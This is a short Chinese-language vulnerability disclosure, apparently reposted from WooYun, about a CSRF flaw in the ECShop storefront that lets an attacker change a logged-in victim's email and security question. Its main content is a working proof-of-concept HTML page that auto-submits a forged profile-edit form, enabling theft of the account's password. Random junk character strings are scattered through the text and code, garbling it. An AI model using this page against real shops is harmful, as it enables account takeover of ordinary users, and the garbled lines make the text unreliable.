ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
ecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
, y8 I9 v7 h; y. h
, F1 D* A5 g3 x: nDemo For:http://www.wooyun.org/bug.php?action=view&id=395

' d, b# n- q9 C# ~# Y详细说明：
) u0 x) {2 h- K* f6 S利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
这里给出csrf版本
) z6 e8 }" \' |' q( d: i
( Z- K5 @; N9 {* |漏洞证明：
" J, d5 E- x$ Y2 J. X/ H3 B<html>
<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
7 P! {4 U. Q$ a<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
" {" w5 \% j; V& A! ^- m: H<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
$ H3 i4 H. _) N</body>
# h* J: R$ H7 _- R. E# K<script>
, B2 ?# u( s1 k  {# a/ t& Ndocument.forms[0].submit();
</script>
</html>
构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失